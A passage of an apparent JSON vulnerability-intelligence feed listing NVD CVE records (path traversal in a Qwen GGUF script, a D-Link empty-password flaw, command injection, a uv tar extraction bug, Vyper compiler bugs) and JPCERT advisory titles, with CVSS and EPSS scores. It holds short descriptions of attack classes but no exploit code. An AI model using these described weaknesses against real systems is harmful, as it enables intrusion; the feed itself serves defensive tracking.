qwen-mtp-gguf/scripts/qwen_mtp_gguf_pipeline.py of the component MTP weight_map Handler. The manipulation of the argument shard_name leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability has been found in R6410418 Jackrong-llm-finetuning-guide up to ef2b17f2798cd18cd85375080c35a58397ad0d09. This vulnerability affects the function extract_mtp_heads of the file qwen-mtp-gguf/scripts/qwen_mtp_gguf_pipeline.py of the component MTP weight_map Handler. The manipulation of the argument shard_name leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:25.563Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113738","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00406,"percentile":0.34606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113738&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113738","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113738","type":"primary","publishedAt":"2026-10-21T01:17:25.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113738&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113738, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113736","cveId":"CVE-2026-113736","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in D-Link DHP-W610AV 1.02EUb03. The impacted element is the function login_prepare_hnap of the file etc/defnodes/defaultvalue.xml of the component...","summary":"A vulnerability has been found in D-Link DHP-W610AV 1.02EUb03. The impacted element is the function login_prepare_hnap of the file etc/defnodes/defaultvalue.xml of the component HNAP Login. The manipulation of the argument Password leads to empty password in configuration file. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.","detail":"A vulnerability has been found in D-Link DHP-W610AV 1.02EUb03. The impacted element is the function login_prepare_hnap of the file etc/defnodes/defaultvalue.xml of the component HNAP Login. The manipulation of the argument Password leads to empty password in configuration file. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:25.187Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":["D-Link"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113736","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00921,"percentile":0.60058,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113736&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113736","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113736","type":"primary","publishedAt":"2026-10-21T01:17:25.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113736&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113736, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105044","cveId":"CVE-2026-105044","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an OS Command in Security Toolbox versions before 20260929 in Qingteng Host Adaptive Security Platform (Host Monitoring) V3.0...","summary":"Improper Neutralization of Special Elements used in an OS Command in Security Toolbox versions before 20260929 in Qingteng Host Adaptive Security Platform (Host Monitoring) V3.0 allows an authenticated console administrator to execute arbitrary commands on attached clients via OS command injection","detail":"Improper Neutralization of Special Elements used in an OS Command in Security Toolbox versions before 20260929 in Qingteng Host Adaptive Security Platform (Host Monitoring) V3.0 allows an authenticated console administrator to execute arbitrary commands on attached clients via OS command injection\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:19.890Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105044","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00936,"percentile":0.60558,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105044&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105044","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105044","type":"primary","publishedAt":"2026-10-21T01:17:19.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105044&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105044, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-71437","cveId":"CVE-2025-71437","aliases":[],"kind":"vulnerability","title":"Astral uv before 0.8.22 contains a path traversal vulnerability in source distribution (sdist) tar extraction that allows a specially crafted sequence of symlinks to redirect file...","summary":"Astral uv before 0.8.22 contains a path traversal vulnerability in source distribution (sdist) tar extraction that allows a specially crafted sequence of symlinks to redirect file writes outside the intended extraction prefix. Attackers can publish a malicious sdist that, when installed by a victim, writes arbitrary files to filesystem locations outside the installation prefix.","detail":"Astral uv before 0.8.22 contains a path traversal vulnerability in source distribution (sdist) tar extraction that allows a specially crafted sequence of symlinks to redirect file writes outside the intended extraction prefix. Attackers can publish a malicious sdist that, when installed by a victim, writes arbitrary files to filesystem locations outside the installation prefix.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:19.493Z","updatedAt":"2026-10-22T17:39:56.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-71437","asOf":"2026-10-22T17:39:56.760Z"},"epss":{"probability":0.00339,"percentile":0.27069,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-71437&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-71437","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71437","type":"primary","publishedAt":"2026-10-21T01:17:19.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-71437&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-71437, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-48020","cveId":"CVE-2021-48020","aliases":[],"kind":"vulnerability","title":"Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls are performed inside arrays.","summary":"Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls are performed inside arrays. Contracts placing internal calls in nested array elements, external call arguments, struct literals, or raw_log topics can have memory corrupted, producing incorrect contract behavior.","detail":"Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls are performed inside arrays. Contracts placing internal calls in nested array elements, external call arguments, struct literals, or raw_log topics can have memory corrupted, producing incorrect contract behavior.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:19.300Z","updatedAt":"2026-10-22T17:00:33.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-48020","asOf":"2026-10-22T17:00:33.203Z"},"epss":{"probability":0.00284,"percentile":0.20722,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-48020&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2021-48020","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-48020","type":"primary","publishedAt":"2026-10-21T01:17:19.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-48020&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-48020, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-48018","cveId":"CVE-2021-48018","aliases":[],"kind":"vulnerability","title":"Vyper from 0.2.13 before 0.2.15 allocates storage slots for @nonreentrant reentrancy locks at the same locations as contract storage variables.","summary":"Vyper from 0.2.13 before 0.2.15 allocates storage slots for @nonreentrant reentrancy locks at the same locations as contract storage variables. When a function using @nonreentrant is called, setting the lock overwrites the overlapping storage variable, corrupting contract state and breaking the contract's intended logic.","detail":"Vyper from 0.2.13 before 0.2.15 allocates storage slots for @nonreentrant reentrancy locks at the same locations as contract storage variables. When a function using @nonreentrant is called, setting the lock overwrites the overlapping storage variable, corrupting contract state and breaking the contract's intended logic.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:18.983Z","updatedAt":"2026-10-23T15:17:20.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-48018","asOf":"2026-10-23T15:17:20.357Z"},"epss":{"probability":0.00391,"percentile":0.32988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-48018&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2021-48018","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-48018","type":"primary","publishedAt":"2026-10-21T01:17:18.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-48018&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-48018, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-37287","cveId":"CVE-2020-37287","aliases":[],"kind":"vulnerability","title":"Vyper before 0.2.6 contains a call stack corruption vulnerability that causes incorrect function outputs when complex types with non-base members are passed as arguments.","summary":"Vyper before 0.2.6 contains a call stack corruption vulnerability that causes incorrect function outputs when complex types with non-base members are passed as arguments. Contracts passing multi-dimensional arrays or structs to internal or external functions receive corrupted values because the compiler assumed each subtype size is 32.","detail":"Vyper before 0.2.6 contains a call stack corruption vulnerability that causes incorrect function outputs when complex types with non-base members are passed as arguments. Contracts passing multi-dimensional arrays or structs to internal or external functions receive corrupted values because the compiler assumed each subtype size is 32.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:18.540Z","updatedAt":"2026-10-22T17:00:33.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-37287","asOf":"2026-10-22T17:00:33.203Z"},"epss":{"probability":0.00251,"percentile":0.16435,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-37287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2020-37287","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-37287","type":"primary","publishedAt":"2026-10-21T01:17:18.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-37287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-37287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-37286","cveId":"CVE-2020-37286","aliases":[],"kind":"vulnerability","title":"Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls appear inside tuples or nested...","summary":"Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls appear inside tuples or nested calls. Contracts using such calls as tuple elements, call arguments, or builtin arguments like concat or ecrecover can return corrupted values or pass wrong arguments to external calls.","detail":"Vyper from 0.1.0b4 before 0.3.0 contains a memory corruption vulnerability caused by an incorrect stack tip pointer when internal function calls appear inside tuples or nested calls. Contracts using such calls as tuple elements, call arguments, or builtin arguments like concat or ecrecover can return corrupted values or pass wrong arguments to external calls.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:18.010Z","updatedAt":"2026-10-22T17:00:33.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-37286","asOf":"2026-10-22T17:00:33.203Z"},"epss":{"probability":0.00284,"percentile":0.20722,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-37286&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2020-37286","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-37286","type":"primary","publishedAt":"2026-10-21T01:17:18.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-37286&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-37286, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-07df8e57f0f4","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Multiple vulnerabilities in Next.js","summary":"Weekly report: Multiple vulnerabilities in Next.js. Original Japanese title: Weekly Report: Next.jsに複数の脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: Next.jsに複数の脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Next.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Multiple vulnerabilities in Next.js","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#8","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-0bca214f4698","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Multiple vulnerabilities in GitLab","summary":"Weekly report: Multiple vulnerabilities in GitLab. Original Japanese title: Weekly Report: GitLabに複数の脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: GitLabに複数の脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["GitLab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Multiple vulnerabilities in GitLab","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#21","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-0e7d57d0b8e3","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Authentication bypass vulnerability in Ivanti Connect Secure","summary":"Weekly report: Authentication bypass vulnerability in Ivanti Connect Secure. Original Japanese title: Weekly Report: Ivanti Connect Secureに認証回避の脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: Ivanti Connect Secureに認証回避の脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Ivanti"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Authentication bypass vulnerability in Ivanti Connect Secure","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#17","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-15e439c53499","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerabilities in multiple Palo Alto Networks products","summary":"Weekly report: Vulnerabilities in multiple Palo Alto Networks products. Original Japanese title: Weekly Report: 複数のPalo Alto Networks製品に脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: 複数のPalo Alto Networks製品に脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":["Palo Alto Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Palo Alto Networks products","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#11","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and 